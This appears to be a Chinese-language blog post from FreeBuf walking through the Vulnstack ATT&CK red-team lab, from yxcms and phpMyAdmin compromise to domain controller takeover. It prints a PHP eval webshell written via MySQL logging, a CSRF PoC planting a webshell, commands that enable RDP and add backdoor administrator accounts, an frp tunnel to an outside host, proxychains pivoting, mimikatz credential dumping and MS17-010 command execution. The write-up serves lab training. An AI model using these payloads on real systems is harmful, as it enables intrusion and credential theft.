前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Vlunstack ATT&CK实战系列0×1

Vlunstack ATT&CK实战系列0×1

作者头像
FB客服
发布2020-02-24 17:31:48
6970
发布2020-02-24 17:31:48
举报
文章被收录于专栏:FreeBufFreeBuf

Over the mountains,mountains.我翻山越岭,才发现无人等候。这个靶场是红日安全团队的一个靶场项目~非常好,方便了我这类懒得搭建域(不会)的人。

如有谬误恳请指出~

环境下载

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

网络环境

代码语言:javascript
复制
Windows 7有双网卡,也就是内外网IP
外网IP:192.168.31.129
内网IP:192.168.52.143
且此服务器存在yxcms
Windows 2008只有内网网卡
内网IP:192.168.52.138
Win2k3只有内网网卡
内网IP:192.168.52.141

很明显,要想访问Windows 2008和Win2k3服务器必须要拿下Windows 7服务器,用它做跳板进内网进行横向渗透。

攻击过程

0x1.获取WEBSHELL

目标URL:http://192.168.31.129/yxcms/

得知是yxcms,直接百度一把搜,找到如下文章

https://bbs.ichunqiu.com/thread-45926-1-1.html

这里都是需要后台才可以getshell的,自己审计不太现实,故打开默认后台试试弱口令

http://192.168.31.129/yxcms/index.php?r=admin/index/login

将登录的数据包放入Repeater重放多次发现验证码没有自动刷新,故可以爆破,然后填了密码字典后放着等他跑,看看其他的点是否有漏洞~

这里爆破出了phpMyAdmin,然后打开试试弱口令root/root直接就进去了

phpMyAdmin GetShell

代码语言:javascript
复制
set global general_log=on; # 开启日志
set global general_log_file='C:/phpstudy/www/fuck.php'; # 设置日志位置为php代码,然后保存的日志内容写上shell就可以了
select '<?php eval($_POST["fuck"]); ?>' # 这段查询会带入到日志中,然后就成功变成WebShell了

然后使用蚁剑连接

然后yxcms后台这边burp也跑出密码来了

账户密码为:admin/123456,进入后台,直接上高速打POC

代码语言:javascript
复制
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.31.129/yxcms/index.php?r=admin/set/tpadd&Mname=default" method="POST">
      <input type="hidden" name="filename" value="fuck" />
      <input type="hidden" name="code" value="&lt;&#63;php&#32;eval&#40;&#36;&#95;POST&#91;&quot;fuck&quot;&#93;&#41;&#59;&#63;&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

打开如上html页面就会在生成一个WebShell在http://192.168.31.129/yxcms/protected/apps/default/view/default/fuck.php页面,密码为fuck

0x2.内网渗透

首先查看是什么权限,是否有域

管理员权限,且有域~

然后一般拿下window的话我都会选择去连接它的远程桌面(PORT:3389)

输入netstat -ano | find “3389”没有回显,证明未开启远程桌面服务,用如下命令开启

代码语言:javascript
复制
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

成功开启。

然后开启了3389后可以选择读管理员的明文密码或添加用户,前者可能因为读不出明文密码(03前的操作系统使用LM HASH加密明文,可逆,越后的系统都使用新的加密NTLM HASH),所以这里选择后者添加密码

代码语言:javascript
复制
C:\phpStudy\WWW> net user test @!FuckSEC!@ /add # 添加账户密码
命令成功完成。
C:\phpStudy\WWW> net localgroup administrators test /add # 给test账户添加为管理员权限
命令成功完成。
C:\phpStudy\WWW> net user test # 查询是否成功添加test用户
用户名                 test
全名
注释
用户的注释
国家/地区代码          000 (系统默认值)
帐户启用               Yes
帐户到期               从不
上次设置密码           2020/2/1 10:27:52
密码到期               2020/3/14 10:27:52
密码可更改             2020/2/2 10:27:52
需要密码               Yes
用户可以更改密码       Yes
允许的工作站           All
登录脚本
用户配置文件
主目录
上次登录               从不
可允许的登录小时数     All
本地组成员             *Administrators       *Users
全局组成员             *None
命令成功完成。

然后使用账号密码test/@!FuckSEC!@登录远程桌面

哦吼!fuck

一开始猜测可能是防火墙禁止3389端口进出网,然后经过端口转发后才发现并不是,如图

防火墙开启了阻止所有与未在允许程序列表中的程序的连接,换句话说,设置了白名单,只能本地连接,那么我们使用ngrok的frp创建一个TCP隧道

1、首先在http://ngrok.cc/user.html注册用户,然后开通FRP服务器

2、下载frp客户端工具

将工具上传至目标服务器,然后执行如下命令

代码语言:javascript
复制
sunny.exe --clientid=隧道id

3、然后连接xxxx.xxxx.xxx:10062

内网已进入,然后我习惯性直接上去关防火墙,然后用cs上线

这个线上的很心塞。。

生成了好多shell然后过了好一会才过来。

0x3.信息收集

1、使用ipconfig /all看网络环境(查询是否有域)

2、net config Workstation查询当前计算机名、计算机全名、用户名、工作站、软件版本、工作站域、工作站域 DNS 名称、登录域

这样也能看

3、查看进程tasklist /v 有些进程可能是域用户启的­>通过管理员权限 凭证窃取 ­> 窃取域用户的凭证

4、显示正由指定的计算机共享的域、计算机或资源的列表。如果在没有参数的情况下使用,则net view显示当前域中的计算机列表。

这里OWA主机是主域控制器,IP为192.168.52.138,然后还有一个主机名为ROOT-TVI862UBEH,IP为192.168.52.141(环境3)

而本机不是域机器所以跑不出域相关信息,着重于横向渗透。

目前知道的数据就行了,然后在本地抓一下管理员密码(Cs跑内存HASH、注册表HASH)

0x4.密码获取

1、直接用cs的hashdump读内存密码。

2、用mimikatz读注册表密码

代码语言:javascript
复制
beacon> logonpasswords
读出的信息...

我们可以直接在Credentials模块下看的清清楚楚

这里直接抓取了Administrator的明文密码hongrisec@2019

0x5.横向渗透

横向渗透一般就是获取内网其他主机的权限

我比较喜欢用msf来进行横向渗透,所以这里要使用到msf,但是Win2k3和Window 2008都是内网主机,我们攻击机的msf无法访问,所以我们要在Window s7上开启一个隧道,将msf带入内网。

开通隧道带msf进内网

1、在cs上开通socks通道

代码语言:javascript
复制
socks 9999

2、在攻击机上设置proxychains

代码语言:javascript
复制
vi /etc/proxychains.conf
socks4        127.0.0.1 9999

小白肯定会问为什么这里设置的代理是127.0.0.1 9999,因为我cs的服务端是kali,然后在cs执行socks 9999相当于在我kali上开通一个9999的socks代理,然后我kali直接连本地的9999端口就可以了

3、使用代理打开msf

代码语言:javascript
复制
proxychains msfconsole

这样msf就成功进内网啦

然后这里尝试去跑一下MS08-067(失败)

插播!这里用cs的socks代理不稳定,我上传了ew开了1080监听然后也是使用proxychains代理

端口探测

因为目标机安装了nmap所以直接跑了

开启了445端口,然后这里试了下ms08-067,失败告终。

拿下xp

然后尝试了admin/smb/ms17_010_command这个模块发现是可以的

然后直接执行添加用户命令

代码语言:javascript
复制
net user test @!FuckSEC!@ /add
net localgroup administrators test /add

查看是否添加成功

然后开启他的3389

代码语言:javascript
复制
2003上开启3389的命令行语句
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

然后使用proxychains连接他的3389

代码语言:javascript
复制
proxychains rdesktop 192.168.52.141

然后这里我想让2003系统上上线Cs,操作过程看我这篇文章

https://fuckgo.github.io/2020/02/03/%E7%9B%AE%E6%A0%87%E6%9C%BA%E5%99%A8%E4%B8%8D%E5%87%BA%E7%BD%91%E4%B8%8A%E7%BA%BF%E5%8A%9E%E6%B3%95/

对xp的信息收集

常规的信息收集

代码语言:javascript
复制
ipconfig /all
查看网络环境
代码语言:javascript
复制
有Primary Dns Suffix 说明是域内 为域机器

然后查看当前登录域

代码语言:javascript
复制
net config workstation

然后依次类推查询,发现192.168.52.138是主域机器

干他!

对域机器进行渗透

端口探测

代码语言:javascript
复制
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49161/tcp open  unknown
49167/tcp open  unknown

使用445添加用户

445开放,使用admin/smb/ms17_010_command成功,只能一条一条命令执行…

然后执行添加用户的语句

用户还是test密码还是@!FuckSEC!@

使用ipc上传上线马

这里使用ipc连接上传上线马,然后用计划任务执行该文件

上线马依旧看这篇文章:https://fuckgo.github.io/2020/02/03/%E7%9B%AE%E6%A0%87%E6%9C%BA%E5%99%A8%E4%B8%8D%E5%87%BA%E7%BD%91%E4%B8%8A%E7%BA%BF%E5%8A%9E%E6%B3%95/

上线成功

然后使用mimikatz跑一下密码

直接就把域管账号密码跑下来了~

致此先这里完结一段落,后续学历了痕迹清理隐藏攻击手段等技术后再续

祝我在内网之旅中开心成长~

*本文原创作者:Hackhy,本文属于FreeBuf原创奖励计划,未经许可禁止转载

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-02-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 环境下载
  • 网络环境
  • 攻击过程
    • 0x1.获取WEBSHELL
      • 0x2.内网渗透
        • 0x3.信息收集
          • 0x4.密码获取
            • 0x5.横向渗透
              • 对xp的信息收集
                • 对域机器进行渗透
                相关产品与服务
                验证码
                腾讯云新一代行为验证码(Captcha),基于十道安全栅栏, 为网页、App、小程序开发者打造立体、全面的人机验证。最大程度保护注册登录、活动秒杀、点赞发帖、数据保护等各大场景下业务安全的同时,提供更精细化的用户体验。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档